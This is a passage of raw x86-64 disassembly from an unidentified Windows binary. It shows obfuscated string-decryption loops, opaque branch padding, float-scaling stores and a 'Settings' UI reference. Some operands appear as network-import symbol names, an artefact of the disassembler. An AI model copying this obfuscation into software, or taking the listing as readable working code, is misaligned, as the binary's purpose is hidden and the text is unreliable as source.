lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008d8c8
movzx r11d, r10b
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
jmp 0x14008de26
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x140]
sub cl, al
add cl, 0x34
lea edi, [rcx + rcx]
jmp 0x14008de23
movzx r11d, r10b
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x16]
jmp 0x14008dcf2
lea ecx, [r10 - 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x19
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d466
movzx r11d, r10b
lea ecx, [r11 - 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1d
add r11b, 0x43
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x2b
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x140], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x140], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d466
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x61
jmp 0x14008de4b
lea ecx, [r10 + 0x73]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x25
dec r10
inc r10
jmp 0x14008d466
movzx edx, r10b
lea ecx, [rdx + 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x29
add dl, 0x1f
movzx eax, r9b
and al, dl
add al, al
sub r9b, al
add r9b, 0x27
add r9b, dl
mov byte [rbp + r10 + 0x140], r9b
inc r8
dec r10
inc r10
jmp 0x14008d466
lea ecx, [r10 + 7]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x31
dec r10
inc r10
jmp 0x14008d466
movzx r11d, r10b
lea edx, [r11 - 0xb]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x4d
add dil, dl
add r11b, 0x31
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x57
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x140], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008d466
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x3d
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d466
add r10b, 0x2d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3b
jmp 0x14008d463
add r10b, 0x1b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x43
jmp 0x14008d453
lea rcx, [rbp + 0x160294c]
jmp 0x14008dee8
lea rcx, [rbp + 0x10b82d5]
jmp 0x14008dee8
lea rcx, [rbp + 0x140]
xor r8d, r8d
lea rdx, [0x1401dc848]
call fcn.14003a2e0
test al, al
je 0x14008df41
movss xmm0, dword [0x1401dc848]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401dc6f8], eax
movss xmm1, dword [0x1401dc84c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401dc6fc], eax
movss xmm0, dword [0x1401dc850]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401dc700], eax
mov byte [rbp + 0x3c0], 0x7d
mov byte [rbp + 0x3c1], 0x57
mov byte [rbp + 0x3c2], 0x2e
mov byte [rbp + 0x3c3], 0x50
mov byte [rbp + 0x3c4], 0x2f
mov byte [rbp + 0x3c5], 0x56
mov byte [rbp + 0x3c6], 0x5e
mov byte [rbp + 0x3c7], 0x53
mov byte [rbp + 0x3c8], 0x59
mov byte [rbp + 0x3c9], 0x81
mov byte [rbp + 0x3ca], 0x65
mov byte [rbp + 0x3cb], 0x32
mov byte [rbp + 0x3cc], 0x4e
mov byte [rbp + 0x3cd], gethostname
mov byte [rbp + 0x3ce], gethostname
mov byte [rbp + 0x3cf], 0xa7
xor eax, eax
mov dword [rbp + 0x3d0], eax
movabs rsi, 0x818a8cf2a645d7e7
movabs r14, 0x8ddef487d874971f
movabs r15, 0x849fa6d7f2d187b5
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x14
jae 0x14008eb92
movzx r9d, byte [rbp + r10 + 0x3c0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008eb86
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008e043
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x51
jmp 0x14008e080
je 0x14008eb15
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008eae8
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008eaa4
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008ea83
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008ea3c
nop dword [rax]
cmp r8, r10
ja 0x14008eb7a
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14008e0b4
lea ecx, [r10 - 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5b
jmp 0x14008e100
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008ea1d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008e9fc
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008e9e1
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008e955
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008e928
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008e681
nop dword [rax]
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008e65e
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14008e63a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008e619
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14008e5f6
lea rcx, [r8 + 0x200]
cmp rbx, rcx
je 0x14008e5d8
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008e5b9
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008e596
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008e57b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14008e54a
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008e110
mov rbx, rcx
lea r8, [rcx + 6]
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x14008eb5d
lea rax, [r8 + 5]
cmp rcx, rax
jb 0x14008eb40
lea rax, [r8 + 0x5a]
cmp rcx, rax
jb 0x14008e2fd
lea rax, [r8 + 0x3e8]
cmp rcx, rax
jb 0x14008e2e2
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x14008e2c7
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x14008e501
lea rax, [r8 + 0x2a]
cmp rcx, rax
jb 0x14008e4b5
lea rax, [r8 + 0x400]
cmp rcx, rax
jb 0x14008e475
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x14008e44f
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x14008e110
lea rbx, [r8 + 0x61]
lea r8, [rbx + 1]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14008e422
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14008e403
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008e3e4
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14008e3c5
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14008e3a3
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008e384
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008e35f
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14008e337
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008e318
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14008e110
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 5]
jmp 0x14008e110
lea ecx, [r10 + 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 5
jmp 0x14008e100
lea ecx, [r10 - 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x59
jmp 0x14008e080
lea ecx, [r10 - 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x49
jmp 0x14008e006
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
movzx r11d, r10b
jmp 0x14008ea56
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008dff3
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008dff3
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
movzx r11d, r10b
jmp 0x14008eabe
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14008eafc
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008eafc
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
movzx r11d, r10b
jmp 0x14008e96f
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e99c
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008dff3
lea ecx, [r10 - 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7d
mov byte [rbp + r10 + 0x3c0], dil
inc r10
jmp 0x14008dff3
lea ecx, [r10 - 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1f
cmp r8, 0x64
jb 0x14008e465
movzx r11d, r10b
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r9b
mov edx, 0x1d
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14008ea56
lea ecx, [r10 + 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3f
cmp rbx, 0x20
jae 0x14008e8e1
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14008e81b
lea edx, [r10 - 2]
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e48b
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x63
lea rax, [r8 + rbx]
cmp rax, 8
je 0x14008e908
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x14008e70f
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4d
jmp 0x14008e4cb
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008dff3
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x14008e99c
movzx r11d, r10b
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e96f
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008eafc
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
add rbx, r8
jmp 0x14008eafc
movzx r11d, r10b
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008eabe
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
dec r10
inc r10
jmp 0x14008dff3
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
inc r8
dec r10
inc r10
jmp 0x14008dff3
movzx r11d, r10b
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008ea56
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x14008e6a9
lea ecx, [r10 - 0x19]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x51
jmp 0x14008e517
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008e6e3
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008dff3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008e517
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e99c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008e73b
movzx r11d, r10b
lea ecx, [r11 - 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x11
jmp 0x14008ea56
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008e767
movzx r11d, r10b
lea ecx, [r11 + 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2b
jmp 0x14008eabe
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008e792
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x77
add rbx, r8
jmp 0x14008eafc
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008e7ba
lea ecx, [r10 - 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x19
jmp 0x14008eafc
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008e7e2
lea ecx, [r10 + 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5d
jmp 0x14008e99c
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14008e4cb
lea ecx, [r10 + 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
inc dil
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008dff3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008e859
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008dff3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008e889
movzx r11d, r10b
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e96f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008e8b1
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
jmp 0x14008eafc
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14008e48b
movzx r11d, r10b
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008ea56
movzx r11d, r10b
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x3c0]
sub cl, al
add cl, 0xc
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008eabe
movzx r11d, r10b
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008e96f
lea ecx, [r10 + 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x57
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008dff3
movzx r11d, r10b
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
sub r11b, 0x73
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x25
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x3c0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x74]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x2c
add r9b, cl
mov byte [rbp + r10 + 0x3c0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008dff3
lea ecx, [r10 - 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x71
jmp 0x14008eafc
lea ecx, [r10 + 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x75
dec r10
inc r10
jmp 0x14008dff3
movzx r11d, r10b
lea ecx, [r11 - 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x47
jmp 0x14008ea56
movzx r11d, r10b
lea ecx, [r11 + 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 3
sub r11b, 0xf
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x69
add r9b, r11b
mov byte [rbp + r10 + 0x3c0], r9b
inc r8
dec r10
inc r10
jmp 0x14008dff3
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x41
dec r10
inc r10
jmp 0x14008dff3
movzx r11d, r10b
lea ecx, [r11 - 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1d
sub r11b, 0x41
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x39
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x3c0], r9b
add rbx, r8
jmp 0x14008eafc
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x27
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008dff3
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0xd
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008dff3
add r10b, 3
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x15
jmp 0x14008dff0
add r10b, 0x35
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x73
jmp 0x14008dfe0
lea rcx, [rbp + 0x16d12f4]
jmp 0x14008eb99
lea rcx, [rbp + 0x72eadb]
jmp 0x14008eb99
lea rcx, [rbp + 0x3c0]
xor r8d, r8d
lea rdx, [0x1401dc858]
call fcn.14003a2e0
test al, al
je 0x14008ebf2
movss xmm0, dword [0x1401dc858]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401dc708], eax
movss xmm1, dword [0x1401dc85c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401dc70c], eax
movss xmm0, dword [0x1401dc860]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401dc710], eax
call fcn.14000c740
call fcn.14000cf10
call fcn.140009f90
cmp dword [0x1401de2cc], 2
jne 0x14008f831
mov dword [rbp + 0x64], 0x42aa0000
mov dword [rbp + 0x68], 0x428c0000
lea rcx, [rbp + 0x64]
call fcn.14001a180
mov dword [rbp + 0x6c], 0x438d0000
mov dword [rbp + 0x70], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x6c]
lea rcx, str.Settings
call fcn.1400097c0
mov byte [rbp + 0x3e0], 0xb1
mov byte [rbp + 0x3e1], 0xa2
mov byte [rbp + 0x3e2], 0x58
mov byte [rbp + 0x3e3], 0xbe
mov byte [rbp + 0x3e4], 0x8b
mov byte [rbp + 0x3e5], 0x81
mov byte [rbp + 0x3e6], 0x8d
mov byte [rbp + 0x3e7], 0x8d
mov byte [rbp + 0x3e8], 0x7e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3e9], xmm0
mov dword [rbp + 0x3f9], eax
movabs rsi, 0xcd8e15c5cf4012f
movabs r14, 0x739fec3f44940aa7
movabs r12, 0x59ee29868aac0849
movabs r15, 0x268aa41516dc038d
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x1d
jae 0x14008f7cc
movzx r9d, byte [rbp + r10 + 0x3e0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008f7c0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008ed33
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x49
jmp 0x14008ed70
je 0x14008f74f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008f6c8
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008f69b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008f653
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008f62e
nop dword [rax]
cmp r8, r10
ja 0x14008f7b4
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x14008eda1
lea ecx, [r10 - 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 3
jmp 0x14008ede2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008f5e3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008f5c1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008f5a5
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008f586
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14008f558
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008f216
nop
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008f1f7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008f1cf
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14008f1aa
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008f18b
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008f169
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008f14e
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008f12f
lea rbx, [r8 + 0x28]
lea r8, [rbx + 6]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008f797
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14008f77a
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14008ef63
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14008ef48
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14008ef2d
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14008f0dc
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14008f066
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x42]
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14008f039
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008f01a
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14008efff
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14008efe4
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008efc2
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14008efa3
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14008ef7e
lea rbx, [r8 + 3]
lea r8, [rbx + 0x7a]
jmp 0x14008edf0
lea ecx, [r10 - 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5d
jmp 0x14008ede2
lea ecx, [r10 + 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x11
jmp 0x14008ed70
lea ecx, [r10 - 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7f
jmp 0x14008ecf6
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008ece3
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
movzx r11d, r10b
jmp 0x14008f671
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14008f6af
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x14008f6af
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x14008f6dd
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008f708
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
movzx eax, byte [rbp + r10 + 0x3e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ece3
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x39
cmp rbx, 8
jae 0x14008f51e
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14008f41d
lea edx, [r10 + 0xe]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x62
add dil, dl
cmp r8, 0x64
jb 0x14008f50e
movzx r11d, r10b
lea edx, [r11 - 0x46]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x2c]
jmp 0x14008f601
lea ecx, [r10 - 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x35
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x14008f542
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14008f305
lea edx, [r10 + 0x33]
movzx eax, r9b
and al, dl
